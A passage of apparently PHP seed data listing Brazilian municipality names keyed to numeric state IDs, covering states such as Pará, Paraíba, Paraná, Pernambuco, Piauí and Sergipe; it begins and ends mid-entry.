'522', 'name' => 'porto franco'],\n ['state_id' => '522', 'name' => 'presidente dutra'],\n ['state_id' => '522', 'name' => 'raposa'],\n ['state_id' => '522', 'name' => 'riachao'],\n ['state_id' => '522', 'name' => 'rosario'],\n ['state_id' => '522', 'name' => 'santa helena'],\n ['state_id' => '522', 'name' => 'santa ines'],\n ['state_id' => '522', 'name' => 'santa luzia'],\n ['state_id' => '522', 'name' => 'santa luzia do parua'],\n ['state_id' => '522', 'name' => 'santa quiteria do maranhao'],\n ['state_id' => '522', 'name' => 'santa rita'],\n ['state_id' => '522', 'name' => 'sao benedito do rio preto'],\n ['state_id' => '522', 'name' => 'sao bento'],\n ['state_id' => '522', 'name' => 'sao bernardo'],\n ['state_id' => '522', 'name' => 'sao domingos do maranhao'],\n ['state_id' => '522', 'name' => 'sao joao batista'],\n ['state_id' => '522', 'name' => 'sao joao dos patos'],\n ['state_id' => '522', 'name' => 'sao jose de ribamar'],\n ['state_id' => '522', 'name' => 'sao luis'],\n ['state_id' => '522', 'name' => 'sao luis gonzaga do maranhao'],\n ['state_id' => '522', 'name' => 'sao mateus do maranhao'],\n ['state_id' => '522', 'name' => 'sao pedro da agua branca'],\n ['state_id' => '522', 'name' => 'sao raimundo das mangabeiras'],\n ['state_id' => '522', 'name' => 'timbiras'],\n ['state_id' => '522', 'name' => 'timon'],\n ['state_id' => '522', 'name' => 'trizidela do vale'],\n ['state_id' => '522', 'name' => 'tuntum'],\n ['state_id' => '522', 'name' => 'turiacu'],\n ['state_id' => '522', 'name' => 'tutoia'],\n ['state_id' => '522', 'name' => 'urbano santos'],\n ['state_id' => '522', 'name' => 'vargem grande'],\n ['state_id' => '522', 'name' => 'viana'],\n ['state_id' => '522', 'name' => 'vitoria do mearim'],\n ['state_id' => '522', 'name' => 'vitorino freire'],\n ['state_id' => '522', 'name' => 'ze doca'],\n ['state_id' => '526', 'name' => 'abaetetuba'],\n ['state_id' => '526', 'name' => 'acara'],\n ['state_id' => '526', 'name' => 'afua'],\n ['state_id' => '526', 'name' => 'agua azul do norte'],\n ['state_id' => '526', 'name' => 'alenquer'],\n ['state_id' => '526', 'name' => 'almeirim'],\n ['state_id' => '526', 'name' => 'altamira'],\n ['state_id' => '526', 'name' => 'ananindeua'],\n ['state_id' => '526', 'name' => 'augusto correa'],\n ['state_id' => '526', 'name' => 'baiao'],\n ['state_id' => '526', 'name' => 'barcarena'],\n ['state_id' => '526', 'name' => 'belem'],\n ['state_id' => '526', 'name' => 'benevides'],\n ['state_id' => '526', 'name' => 'braganca'],\n ['state_id' => '526', 'name' => 'breu branco'],\n ['state_id' => '526', 'name' => 'breves'],\n ['state_id' => '526', 'name' => 'bujaru'],\n ['state_id' => '526', 'name' => 'cameta'],\n ['state_id' => '526', 'name' => 'capanema'],\n ['state_id' => '526', 'name' => 'capitao poco'],\n ['state_id' => '526', 'name' => 'castanhal'],\n ['state_id' => '526', 'name' => 'conceicao do araguaia'],\n ['state_id' => '526', 'name' => 'concordia do para'],\n ['state_id' => '526', 'name' => 'curionopolis'],\n ['state_id' => '526', 'name' => 'curuca'],\n ['state_id' => '526', 'name' => 'dom eliseu'],\n ['state_id' => '526', 'name' => 'eldorado dos carajas'],\n ['state_id' => '526', 'name' => 'garrafao do norte'],\n ['state_id' => '526', 'name' => 'goianesia do para'],\n ['state_id' => '526', 'name' => 'gurupa'],\n ['state_id' => '526', 'name' => 'igarape-acu'],\n ['state_id' => '526', 'name' => 'igarape-miri'],\n ['state_id' => '526', 'name' => 'irituia'],\n ['state_id' => '526', 'name' => 'itaituba'],\n ['state_id' => '526', 'name' => 'itupiranga'],\n ['state_id' => '526', 'name' => 'jacareacanga'],\n ['state_id' => '526', 'name' => 'jacunda'],\n ['state_id' => '526', 'name' => 'juruti'],\n ['state_id' => '526', 'name' => 'limoeiro do ajuru'],\n ['state_id' => '526', 'name' => 'mae do rio'],\n ['state_id' => '526', 'name' => 'maraba'],\n ['state_id' => '526', 'name' => 'maracana'],\n ['state_id' => '526', 'name' => 'marapanim'],\n ['state_id' => '526', 'name' => 'marituba'],\n ['state_id' => '526', 'name' => 'medicilandia'],\n ['state_id' => '526', 'name' => 'mocajuba'],\n ['state_id' => '526', 'name' => 'moju'],\n ['state_id' => '526', 'name' => 'monte alegre'],\n ['state_id' => '526', 'name' => 'muana'],\n ['state_id' => '526', 'name' => 'novo progresso'],\n ['state_id' => '526', 'name' => 'novo repartimento'],\n ['state_id' => '526', 'name' => 'obidos'],\n ['state_id' => '526', 'name' => 'oeiras do para'],\n ['state_id' => '526', 'name' => 'oriximina'],\n ['state_id' => '526', 'name' => 'ourem'],\n ['state_id' => '526', 'name' => 'ourilandia'],\n ['state_id' => '526', 'name' => 'pacaja'],\n ['state_id' => '526', 'name' => 'paragominas'],\n ['state_id' => '526', 'name' => 'parauapebas'],\n ['state_id' => '526', 'name' => 'portel'],\n ['state_id' => '526', 'name' => 'porto de moz'],\n ['state_id' => '526', 'name' => 'prainha'],\n ['state_id' => '526', 'name' => 'redencao'],\n ['state_id' => '526', 'name' => 'rio maria'],\n ['state_id' => '526', 'name' => 'rondon do para'],\n ['state_id' => '526', 'name' => 'ruropolis'],\n ['state_id' => '526', 'name' => 'salinopolis'],\n ['state_id' => '526', 'name' => 'santa isabel do para'],\n ['state_id' => '526', 'name' => 'santa luzia do para'],\n ['state_id' => '526', 'name' => 'santa maria do para'],\n ['state_id' => '526', 'name' => 'santana do araguaia'],\n ['state_id' => '526', 'name' => 'santarem'],\n ['state_id' => '526', 'name' => 'santo antonio do taua'],\n ['state_id' => '526', 'name' => 'sao caetano de odivelas'],\n ['state_id' => '526', 'name' => 'sao domingos do araguaia'],\n ['state_id' => '526', 'name' => 'sao domingos do capim'],\n ['state_id' => '526', 'name' => 'sao felix do xingu'],\n ['state_id' => '526', 'name' => 'sao geraldo do araguaia'],\n ['state_id' => '526', 'name' => 'sao joao de pirabas'],\n ['state_id' => '526', 'name' => 'sao miguel do guama'],\n ['state_id' => '526', 'name' => 'senador jose porfirio'],\n ['state_id' => '526', 'name' => 'soure'],\n ['state_id' => '526', 'name' => 'tailandia'],\n ['state_id' => '526', 'name' => 'terra santa'],\n ['state_id' => '526', 'name' => 'tome-acu'],\n ['state_id' => '526', 'name' => 'tucuma'],\n ['state_id' => '526', 'name' => 'tucurui'],\n ['state_id' => '526', 'name' => 'ulianopolis'],\n ['state_id' => '526', 'name' => 'uruara'],\n ['state_id' => '526', 'name' => 'vigia'],\n ['state_id' => '526', 'name' => 'viseu'],\n ['state_id' => '526', 'name' => 'xinguara'],\n ['state_id' => '527', 'name' => 'alagoa grande'],\n ['state_id' => '527', 'name' => 'alagoa nova'],\n ['state_id' => '527', 'name' => 'alagoinha'],\n ['state_id' => '527', 'name' => 'alhandra'],\n ['state_id' => '527', 'name' => 'aracagi'],\n ['state_id' => '527', 'name' => 'arara'],\n ['state_id' => '527', 'name' => 'araruna'],\n ['state_id' => '527', 'name' => 'areia'],\n ['state_id' => '527', 'name' => 'aroeiras'],\n ['state_id' => '527', 'name' => 'bananeiras'],\n ['state_id' => '527', 'name' => 'barra de santa rosa'],\n ['state_id' => '527', 'name' => 'bayeux'],\n ['state_id' => '527', 'name' => 'belem'],\n ['state_id' => '527', 'name' => 'boqueirao'],\n ['state_id' => '527', 'name' => 'brejo do cruz'],\n ['state_id' => '527', 'name' => 'caapora'],\n ['state_id' => '527', 'name' => 'cabedelo'],\n ['state_id' => '527', 'name' => 'cacimba de dentro'],\n ['state_id' => '527', 'name' => 'cajazeiras'],\n ['state_id' => '527', 'name' => 'campina grande'],\n ['state_id' => '527', 'name' => 'catole do rocha'],\n ['state_id' => '527', 'name' => 'conceicao'],\n ['state_id' => '527', 'name' => 'conde'],\n ['state_id' => '527', 'name' => 'coremas'],\n ['state_id' => '527', 'name' => 'cruz do espirito santo'],\n ['state_id' => '527', 'name' => 'cuite'],\n ['state_id' => '527', 'name' => 'desterro'],\n ['state_id' => '527', 'name' => 'dona ines'],\n ['state_id' => '527', 'name' => 'esperanca'],\n ['state_id' => '527', 'name' => 'fagundes'],\n ['state_id' => '527', 'name' => 'guarabira'],\n ['state_id' => '527', 'name' => 'gurinhem'],\n ['state_id' => '527', 'name' => 'imaculada'],\n ['state_id' => '527', 'name' => 'inga'],\n ['state_id' => '527', 'name' => 'itabaiana'],\n ['state_id' => '527', 'name' => 'itaporanga'],\n ['state_id' => '527', 'name' => 'itapororoca'],\n ['state_id' => '527', 'name' => 'itatuba'],\n ['state_id' => '527', 'name' => 'jacarau'],\n ['state_id' => '527', 'name' => 'joao pessoa'],\n ['state_id' => '527', 'name' => 'juazeirinho'],\n ['state_id' => '527', 'name' => 'juripiranga'],\n ['state_id' => '527', 'name' => 'juru'],\n ['state_id' => '527', 'name' => 'lagoa seca'],\n ['state_id' => '527', 'name' => 'mamanguape'],\n ['state_id' => '527', 'name' => 'manaira'],\n ['state_id' => '527', 'name' => 'mari'],\n ['state_id' => '527', 'name' => 'massaranduba'],\n ['state_id' => '527', 'name' => 'mogeiro'],\n ['state_id' => '527', 'name' => 'monteiro'],\n ['state_id' => '527', 'name' => 'mulungu'],\n ['state_id' => '527', 'name' => 'natuba'],\n ['state_id' => '527', 'name' => 'nova floresta'],\n ['state_id' => '527', 'name' => 'patos'],\n ['state_id' => '527', 'name' => 'paulista'],\n ['state_id' => '527', 'name' => 'pedras de fogo'],\n ['state_id' => '527', 'name' => 'pianco'],\n ['state_id' => '527', 'name' => 'picui'],\n ['state_id' => '527', 'name' => 'pilar'],\n ['state_id' => '527', 'name' => 'pirpirituba'],\n ['state_id' => '527', 'name' => 'pitimbu'],\n ['state_id' => '527', 'name' => 'pocinhos'],\n ['state_id' => '527', 'name' => 'pombal'],\n ['state_id' => '527', 'name' => 'princesa isabel'],\n ['state_id' => '527', 'name' => 'puxinana'],\n ['state_id' => '527', 'name' => 'queimadas'],\n ['state_id' => '527', 'name' => 'remigio'],\n ['state_id' => '527', 'name' => 'rio tinto'],\n ['state_id' => '527', 'name' => 'salgado de sao felix'],\n ['state_id' => '527', 'name' => 'santa luzia'],\n ['state_id' => '527', 'name' => 'santa rita'],\n ['state_id' => '527', 'name' => 'sao bento'],\n ['state_id' => '527', 'name' => 'sao joao do rio do peixe'],\n ['state_id' => '527', 'name' => 'sao jose de piranhas'],\n ['state_id' => '527', 'name' => 'sao sebastiao de lagoa de roca'],\n ['state_id' => '527', 'name' => 'sape'],\n ['state_id' => '527', 'name' => 'serra branca'],\n ['state_id' => '527', 'name' => 'solanea'],\n ['state_id' => '527', 'name' => 'soledade'],\n ['state_id' => '527', 'name' => 'sousa'],\n ['state_id' => '527', 'name' => 'sume'],\n ['state_id' => '527', 'name' => 'taperoa'],\n ['state_id' => '527', 'name' => 'tavares'],\n ['state_id' => '527', 'name' => 'teixeira'],\n ['state_id' => '527', 'name' => 'triunfo'],\n ['state_id' => '527', 'name' => 'uirauna'],\n ['state_id' => '527', 'name' => 'umbuzeiro'],\n ['state_id' => '528', 'name' => 'almirante tamandare'],\n ['state_id' => '528', 'name' => 'alto parana'],\n ['state_id' => '528', 'name' => 'alto piquiri'],\n ['state_id' => '528', 'name' => 'altonia'],\n ['state_id' => '528', 'name' => 'ampere'],\n ['state_id' => '528', 'name' => 'andira'],\n ['state_id' => '528', 'name' => 'antonina'],\n ['state_id' => '528', 'name' => 'apucarana'],\n ['state_id' => '528', 'name' => 'arapongas'],\n ['state_id' => '528', 'name' => 'arapoti'],\n ['state_id' => '528', 'name' => 'araucaria'],\n ['state_id' => '528', 'name' => 'assai'],\n ['state_id' => '528', 'name' => 'assis chateaubriand'],\n ['state_id' => '528', 'name' => 'astorga'],\n ['state_id' => '528', 'name' => 'bandeirantes'],\n ['state_id' => '528', 'name' => 'barbosa ferraz'],\n ['state_id' => '528', 'name' => 'bela vista do paraiso'],\n ['state_id' => '528', 'name' => 'cambara'],\n ['state_id' => '528', 'name' => 'cambe'],\n ['state_id' => '528', 'name' => 'campina grande do sul'],\n ['state_id' => '528', 'name' => 'campina da lagoa'],\n ['state_id' => '528', 'name' => 'campo largo'],\n ['state_id' => '528', 'name' => 'campo murao'],\n ['state_id' => '528', 'name' => 'candido de abreu'],\n ['state_id' => '528', 'name' => 'capitao leonidas marques'],\n ['state_id' => '528', 'name' => 'carambei'],\n ['state_id' => '528', 'name' => 'cascavel'],\n ['state_id' => '528', 'name' => 'castro'],\n ['state_id' => '528', 'name' => 'centenario do sul'],\n ['state_id' => '528', 'name' => 'chopinzinho'],\n ['state_id' => '528', 'name' => 'cianorte'],\n ['state_id' => '528', 'name' => 'clevelandia'],\n ['state_id' => '528', 'name' => 'colombo'],\n ['state_id' => '528', 'name' => 'colorado'],\n ['state_id' => '528', 'name' => 'contenda'],\n ['state_id' => '528', 'name' => 'corbelia'],\n ['state_id' => '528', 'name' => 'cornelio procopio'],\n ['state_id' => '528', 'name' => 'coronel vivida'],\n ['state_id' => '528', 'name' => 'cruzeiro do oeste'],\n ['state_id' => '528', 'name' => 'curitiba'],\n ['state_id' => '528', 'name' => 'dois vizinhos'],\n ['state_id' => '528', 'name' => 'engenheiro beltrao'],\n ['state_id' => '528', 'name' => 'faxinal'],\n ['state_id' => '528', 'name' => 'fazenda rio grande'],\n ['state_id' => '528', 'name' => 'florestopolis'],\n ['state_id' => '528', 'name' => 'foz do iguacu'],\n ['state_id' => '528', 'name' => 'francisco beltrao'],\n ['state_id' => '528', 'name' => 'goioere'],\n ['state_id' => '528', 'name' => 'guaira'],\n ['state_id' => '528', 'name' => 'guaraniacu'],\n ['state_id' => '528', 'name' => 'guarapuava'],\n ['state_id' => '528', 'name' => 'guaratuba'],\n ['state_id' => '528', 'name' => 'ibaiti'],\n ['state_id' => '528', 'name' => 'ibipora'],\n ['state_id' => '528', 'name' => 'imbituva'],\n ['state_id' => '528', 'name' => 'ipora'],\n ['state_id' => '528', 'name' => 'irati'],\n ['state_id' => '528', 'name' => 'itaperucu'],\n ['state_id' => '528', 'name' => 'ivaipora'],\n ['state_id' => '528', 'name' => 'jacarezinho'],\n ['state_id' => '528', 'name' => 'jaguariaiva'],\n ['state_id' => '528', 'name' => 'jandaia do sul'],\n ['state_id' => '528', 'name' => 'jataizinho'],\n ['state_id' => '528', 'name' => 'lapa'],\n ['state_id' => '528', 'name' => 'laranjeiras do sul'],\n ['state_id' => '528', 'name' => 'loanda'],\n ['state_id' => '528', 'name' => 'londrina'],\n ['state_id' => '528', 'name' => 'mandaguacu'],\n ['state_id' => '528', 'name' => 'mandaguari'],\n ['state_id' => '528', 'name' => 'marechal candido rondon'],\n ['state_id' => '528', 'name' => 'marialva'],\n ['state_id' => '528', 'name' => 'maringa'],\n ['state_id' => '528', 'name' => 'matelandia'],\n ['state_id' => '528', 'name' => 'matinhos'],\n ['state_id' => '528', 'name' => 'medianeira'],\n ['state_id' => '528', 'name' => 'moreira sales'],\n ['state_id' => '528', 'name' => 'nova aurora'],\n ['state_id' => '528', 'name' => 'nova esperanca'],\n ['state_id' => '528', 'name' => 'nova londrina'],\n ['state_id' => '528', 'name' => 'ortigueira'],\n ['state_id' => '528', 'name' => 'paicandu'],\n ['state_id' => '528', 'name' => 'palmas'],\n ['state_id' => '528', 'name' => 'palmeira'],\n ['state_id' => '528', 'name' => 'palotina'],\n ['state_id' => '528', 'name' => 'paranagua'],\n ['state_id' => '528', 'name' => 'paranavai'],\n ['state_id' => '528', 'name' => 'pato branco'],\n ['state_id' => '528', 'name' => 'peabiru'],\n ['state_id' => '528', 'name' => 'pinhais'],\n ['state_id' => '528', 'name' => 'pinhao'],\n ['state_id' => '528', 'name' => 'pirai do sul'],\n ['state_id' => '528', 'name' => 'piraquara'],\n ['state_id' => '528', 'name' => 'pitanga'],\n ['state_id' => '528', 'name' => 'ponta grossa'],\n ['state_id' => '528', 'name' => 'pontal do parana'],\n ['state_id' => '528', 'name' => 'porecatu'],\n ['state_id' => '528', 'name' => 'primero de maio'],\n ['state_id' => '528', 'name' => 'prudentopolis'],\n ['state_id' => '528', 'name' => 'quatro barras'],\n ['state_id' => '528', 'name' => 'quedas do iguacu'],\n ['state_id' => '528', 'name' => 'realeza'],\n ['state_id' => '528', 'name' => 'reserva'],\n ['state_id' => '528', 'name' => 'ribeirao do pinhal'],\n ['state_id' => '528', 'name' => 'rio branco do sul'],\n ['state_id' => '528', 'name' => 'rio negro'],\n ['state_id' => '528', 'name' => 'rolandia'],\n ['state_id' => '528', 'name' => 'santa helena'],\n ['state_id' => '528', 'name' => 'santa terezinha de itaipu'],\n ['state_id' => '528', 'name' => 'santo antonio da platina'],\n ['state_id' => '528', 'name' => 'santo antonio do sudoeste'],\n ['state_id' => '528', 'name' => 'sao joao do ivai'],\n ['state_id' => '528', 'name' => 'sao jose dos pinhais'],\n ['state_id' => '528', 'name' => 'sao mateus do sul'],\n ['state_id' => '528', 'name' => 'sao miguel do iguacu'],\n ['state_id' => '528', 'name' => 'sarandi'],\n ['state_id' => '528', 'name' => 'senges'],\n ['state_id' => '528', 'name' => 'sertanopolis'],\n ['state_id' => '528', 'name' => 'siquera campos'],\n ['state_id' => '528', 'name' => 'tapejara'],\n ['state_id' => '528', 'name' => 'telemaco borba'],\n ['state_id' => '528', 'name' => 'terra boa'],\n ['state_id' => '528', 'name' => 'terra rica'],\n ['state_id' => '528', 'name' => 'terra roxa'],\n ['state_id' => '528', 'name' => 'tibagi'],\n ['state_id' => '528', 'name' => 'toledo'],\n ['state_id' => '528', 'name' => 'ubirata'],\n ['state_id' => '528', 'name' => 'umuarama'],\n ['state_id' => '528', 'name' => 'uniao da victoria'],\n ['state_id' => '528', 'name' => 'wenceslau braz'],\n ['state_id' => '529', 'name' => 'abreu e lima'],\n ['state_id' => '529', 'name' => 'afogados da ingazeira'],\n ['state_id' => '529', 'name' => 'agrestina'],\n ['state_id' => '529', 'name' => 'agua preta'],\n ['state_id' => '529', 'name' => 'aguas belas'],\n ['state_id' => '529', 'name' => 'alianca'],\n ['state_id' => '529', 'name' => 'altinho'],\n ['state_id' => '529', 'name' => 'amaraji'],\n ['state_id' => '529', 'name' => 'aracoiaba'],\n ['state_id' => '529', 'name' => 'araripina'],\n ['state_id' => '529', 'name' => 'arcoverde'],\n ['state_id' => '529', 'name' => 'barra de guabiraba'],\n ['state_id' => '529', 'name' => 'barreiros'],\n ['state_id' => '529', 'name' => 'belem de sao francisco'],\n ['state_id' => '529', 'name' => 'belo jardim'],\n ['state_id' => '529', 'name' => 'bezerros'],\n ['state_id' => '529', 'name' => 'bodoco'],\n ['state_id' => '529', 'name' => 'bom conselho'],\n ['state_id' => '529', 'name' => 'bom jardim'],\n ['state_id' => '529', 'name' => 'bonito'],\n ['state_id' => '529', 'name' => 'brejo da madre de deus'],\n ['state_id' => '529', 'name' => 'buique'],\n ['state_id' => '529', 'name' => 'cabo de santo agostinho'],\n ['state_id' => '529', 'name' => 'cabrobo'],\n ['state_id' => '529', 'name' => 'cachoeirinha'],\n ['state_id' => '529', 'name' => 'caetes'],\n ['state_id' => '529', 'name' => 'camaragibe'],\n ['state_id' => '529', 'name' => 'camocim de sao felix'],\n ['state_id' => '529', 'name' => 'canhotinho'],\n ['state_id' => '529', 'name' => 'capoeiras'],\n ['state_id' => '529', 'name' => 'carnaiba'],\n ['state_id' => '529', 'name' => 'carpina'],\n ['state_id' => '529', 'name' => 'caruaru'],\n ['state_id' => '529', 'name' => 'catende'],\n ['state_id' => '529', 'name' => 'cha grande'],\n ['state_id' => '529', 'name' => 'condado'],\n ['state_id' => '529', 'name' => 'cumaru'],\n ['state_id' => '529', 'name' => 'cupira'],\n ['state_id' => '529', 'name' => 'custodia'],\n ['state_id' => '529', 'name' => 'escada'],\n ['state_id' => '529', 'name' => 'exu'],\n ['state_id' => '529', 'name' => 'feira nova'],\n ['state_id' => '529', 'name' => 'fernando de noronha'],\n ['state_id' => '529', 'name' => 'flores'],\n ['state_id' => '529', 'name' => 'floresta'],\n ['state_id' => '529', 'name' => 'gameleira'],\n ['state_id' => '529', 'name' => 'garanhuns'],\n ['state_id' => '529', 'name' => 'gloria do goita'],\n ['state_id' => '529', 'name' => 'goiana'],\n ['state_id' => '529', 'name' => 'gravata'],\n ['state_id' => '529', 'name' => 'ibimirim'],\n ['state_id' => '529', 'name' => 'igarassu'],\n ['state_id' => '529', 'name' => 'inaja'],\n ['state_id' => '529', 'name' => 'ipojuca'],\n ['state_id' => '529', 'name' => 'ipubi'],\n ['state_id' => '529', 'name' => 'itaiba'],\n ['state_id' => '529', 'name' => 'itamaraca'],\n ['state_id' => '529', 'name' => 'itambe'],\n ['state_id' => '529', 'name' => 'itapissuma'],\n ['state_id' => '529', 'name' => 'itaquitinga'],\n ['state_id' => '529', 'name' => 'jaboatao'],\n ['state_id' => '529', 'name' => 'joao alfredo'],\n ['state_id' => '529', 'name' => 'joaquim nabuco'],\n ['state_id' => '529', 'name' => 'lagoa do itaenga'],\n ['state_id' => '529', 'name' => 'lajedo'],\n ['state_id' => '529', 'name' => 'limoeiro'],\n ['state_id' => '529', 'name' => 'macaparana'],\n ['state_id' => '529', 'name' => 'maraial'],\n ['state_id' => '529', 'name' => 'moreno'],\n ['state_id' => '529', 'name' => 'nazare da mata'],\n ['state_id' => '529', 'name' => 'olinda'],\n ['state_id' => '529', 'name' => 'orobo'],\n ['state_id' => '529', 'name' => 'ouricuri'],\n ['state_id' => '529', 'name' => 'palmares'],\n ['state_id' => '529', 'name' => 'panelas'],\n ['state_id' => '529', 'name' => 'parnamirim'],\n ['state_id' => '529', 'name' => 'passira'],\n ['state_id' => '529', 'name' => 'paudalho'],\n ['state_id' => '529', 'name' => 'paulista'],\n ['state_id' => '529', 'name' => 'pedra'],\n ['state_id' => '529', 'name' => 'pesqueira'],\n ['state_id' => '529', 'name' => 'petrolandia'],\n ['state_id' => '529', 'name' => 'petrolina'],\n ['state_id' => '529', 'name' => 'pombos'],\n ['state_id' => '529', 'name' => 'quipapa'],\n ['state_id' => '529', 'name' => 'recife'],\n ['state_id' => '529', 'name' => 'ribeirao'],\n ['state_id' => '529', 'name' => 'rio formoso'],\n ['state_id' => '529', 'name' => 'salgueiro'],\n ['state_id' => '529', 'name' => 'santa cruz do capibaribe'],\n ['state_id' => '529', 'name' => 'santa maria da boa vista'],\n ['state_id' => '529', 'name' => 'sao bento do una'],\n ['state_id' => '529', 'name' => 'sao caitano'],\n ['state_id' => '529', 'name' => 'sao joao'],\n ['state_id' => '529', 'name' => 'sao joaquim do monte'],\n ['state_id' => '529', 'name' => 'sao jose da coroa grande'],\n ['state_id' => '529', 'name' => 'sao jose do belmonte'],\n ['state_id' => '529', 'name' => 'sao jose do egito'],\n ['state_id' => '529', 'name' => 'sao lourenco da mata'],\n ['state_id' => '529', 'name' => 'serra talhada'],\n ['state_id' => '529', 'name' => 'sertania'],\n ['state_id' => '529', 'name' => 'sirinhaem'],\n ['state_id' => '529', 'name' => 'surubim'],\n ['state_id' => '529', 'name' => 'tabira'],\n ['state_id' => '529', 'name' => 'tamandare'],\n ['state_id' => '529', 'name' => 'taquaritinga do norte'],\n ['state_id' => '529', 'name' => 'timbauba'],\n ['state_id' => '529', 'name' => 'toritama'],\n ['state_id' => '529', 'name' => 'trindade'],\n ['state_id' => '529', 'name' => 'triunfo'],\n ['state_id' => '529', 'name' => 'tupanatinga'],\n ['state_id' => '529', 'name' => 'vicencia'],\n ['state_id' => '529', 'name' => 'vitoria de santo antao'],\n ['state_id' => '530', 'name' => 'agua branca'],\n ['state_id' => '530', 'name' => 'alto longa'],\n ['state_id' => '530', 'name' => 'altos'],\n ['state_id' => '530', 'name' => 'amarante'],\n ['state_id' => '530', 'name' => 'avelino lopes'],\n ['state_id' => '530', 'name' => 'barras'],\n ['state_id' => '530', 'name' => 'batalha'],\n ['state_id' => '530', 'name' => 'beneditinos'],\n ['state_id' => '530', 'name' => 'bom jesus'],\n ['state_id' => '530', 'name' => 'buriti dos lopes'],\n ['state_id' => '530', 'name' => 'campo maior'],\n ['state_id' => '530', 'name' => 'canto do buriti'],\n ['state_id' => '530', 'name' => 'castelo do piaui'],\n ['state_id' => '530', 'name' => 'cocal'],\n ['state_id' => '530', 'name' => 'corrente'],\n ['state_id' => '530', 'name' => 'demerval lobao'],\n ['state_id' => '530', 'name' => 'elesbao veloso'],\n ['state_id' => '530', 'name' => 'esperantina'],\n ['state_id' => '530', 'name' => 'floriano'],\n ['state_id' => '530', 'name' => 'gilbues'],\n ['state_id' => '530', 'name' => 'guadalupe'],\n ['state_id' => '530', 'name' => 'inhuma'],\n ['state_id' => '530', 'name' => 'itainopolis'],\n ['state_id' => '530', 'name' => 'itaueira'],\n ['state_id' => '530', 'name' => 'jaicos'],\n ['state_id' => '530', 'name' => 'joaquim pires'],\n ['state_id' => '530', 'name' => 'jose de freitas'],\n ['state_id' => '530', 'name' => 'luis correia'],\n ['state_id' => '530', 'name' => 'luzilandia'],\n ['state_id' => '530', 'name' => 'matias olimpio'],\n ['state_id' => '530', 'name' => 'miguel alves'],\n ['state_id' => '530', 'name' => 'monsenhor gil'],\n ['state_id' => '530', 'name' => 'oeiras'],\n ['state_id' => '530', 'name' => 'palmeirais'],\n ['state_id' => '530', 'name' => 'parnaiba'],\n ['state_id' => '530', 'name' => 'pedro ii'],\n ['state_id' => '530', 'name' => 'picos'],\n ['state_id' => '530', 'name' => 'pimenteiras'],\n ['state_id' => '530', 'name' => 'pio ix'],\n ['state_id' => '530', 'name' => 'piracuruca'],\n ['state_id' => '530', 'name' => 'piripiri'],\n ['state_id' => '530', 'name' => 'porto'],\n ['state_id' => '530', 'name' => 'regeneracao'],\n ['state_id' => '530', 'name' => 'sao joao do piaui'],\n ['state_id' => '530', 'name' => 'sao miguel do tapuio'],\n ['state_id' => '530', 'name' => 'sao pedro do piaui'],\n ['state_id' => '530', 'name' => 'sao raimundo nonato'],\n ['state_id' => '530', 'name' => 'simoes'],\n ['state_id' => '530', 'name' => 'simplicio mendes'],\n ['state_id' => '530', 'name' => 'teresina'],\n ['state_id' => '530', 'name' => 'uniao'],\n ['state_id' => '530', 'name' => 'urucui'],\n ['state_id' => '530', 'name' => 'valenca do piaui'],\n ['state_id' => '534', 'name' => 'alta floresta d\\'oeste'],\n ['state_id' => '534', 'name' => 'alto alegre do parecis'],\n ['state_id' => '534', 'name' => 'alto paraiso'],\n ['state_id' => '534', 'name' => 'alvorada d\\'oeste'],\n ['state_id' => '534', 'name' => 'ariquemes'],\n ['state_id' => '534', 'name' => 'buritis'],\n ['state_id' => '534', 'name' => 'cacoal'],\n ['state_id' => '534', 'name' => 'candeias do jamari'],\n ['state_id' => '534', 'name' => 'cerejeiras'],\n ['state_id' => '534', 'name' => 'colorado do oeste'],\n ['state_id' => '534', 'name' => 'corumbiara'],\n ['state_id' => '534', 'name' => 'espigao d\\'oeste'],\n ['state_id' => '534', 'name' => 'governador jorge teixeira'],\n ['state_id' => '534', 'name' => 'guajara-mirim'],\n ['state_id' => '534', 'name' => 'jaru'],\n ['state_id' => '534', 'name' => 'ji-parana'],\n ['state_id' => '534', 'name' => 'machadinho d\\'oeste'],\n ['state_id' => '534', 'name' => 'ministro andreazza'],\n ['state_id' => '534', 'name' => 'mirante da serra'],\n ['state_id' => '534', 'name' => 'nova brasilandia d\\'oeste'],\n ['state_id' => '534', 'name' => 'nova mamore'],\n ['state_id' => '534', 'name' => 'novo horizonte do oeste'],\n ['state_id' => '534', 'name' => 'ouro preto do oeste'],\n ['state_id' => '534', 'name' => 'pimenta bueno'],\n ['state_id' => '534', 'name' => 'porto velho'],\n ['state_id' => '534', 'name' => 'presidente medici'],\n ['state_id' => '534', 'name' => 'rolim de moura'],\n ['state_id' => '534', 'name' => 'santa luzia d\\'oeste'],\n ['state_id' => '534', 'name' => 'sao miguel do guapore'],\n ['state_id' => '534', 'name' => 'urupa'],\n ['state_id' => '534', 'name' => 'vale do paraiso'],\n ['state_id' => '534', 'name' => 'vilhena'],\n ['state_id' => '535', 'name' => 'alto alegre'],\n ['state_id' => '535', 'name' => 'boa vista'],\n ['state_id' => '535', 'name' => 'bonfim'],\n ['state_id' => '535', 'name' => 'caracarai'],\n ['state_id' => '535', 'name' => 'mucajai'],\n ['state_id' => '535', 'name' => 'normandia'],\n ['state_id' => '535', 'name' => 'sao joao da baliza'],\n ['state_id' => '535', 'name' => 'sao luiz'],\n ['state_id' => '538', 'name' => 'aquidaba'],\n ['state_id' => '538', 'name' => 'aracaju'],\n ['state_id' => '538', 'name' => 'araua'],\n ['state_id' => '538', 'name' => 'areia branca'],\n ['state_id' => '538', 'name' => 'barra dos coqueiros'],\n ['state_id' => '538', 'name' => 'boquim'],\n ['state_id' => '538', 'name' => 'campo do brito'],\n ['state_id' => '538', 'name' => 'caninde de sao francisco'],\n ['state_id' => '538', 'name' => 'capela'],\n ['state_id' => '538', 'name' => 'carira'],\n ['state_id' => '538', 'name' => 'cristinapolis'],\n ['state_id' => '538', 'name' => 'estancia'],\n ['state_id' => '538', 'name' => 'frei paulo'],\n ['state_id' => '538', 'name' => 'gararu'],\n ['state_id' => '538', 'name' => 'indiaroba'],\n ['state_id' => '538', 'name' => 'itabaiana'],\n ['state_id' => '538', 'name' => 'itabaianinha'],\n ['state_id' => '538', 'name' => 'itaporanga d\\'ajuda'],\n ['state_id' => '538', 'name' => 'japaratuba'],\n ['state_id' => '538', 'name' => 'japoata'],\n ['state_id' => '538', 'name' => 'lagarto'],\n ['state_id' => '538', 'name' => 'laranjeiras'],\n ['state_id' => '538', 'name' => 'malhador'],\n ['state_id' => '538', 'name' => 'maruim'],\n ['state_id' => '538', 'name' => 'moita bonita'],\n ['state_id' => '538', 'name' => 'monte alegre de sergipe'],\n ['state_id' => '538', 'name' => 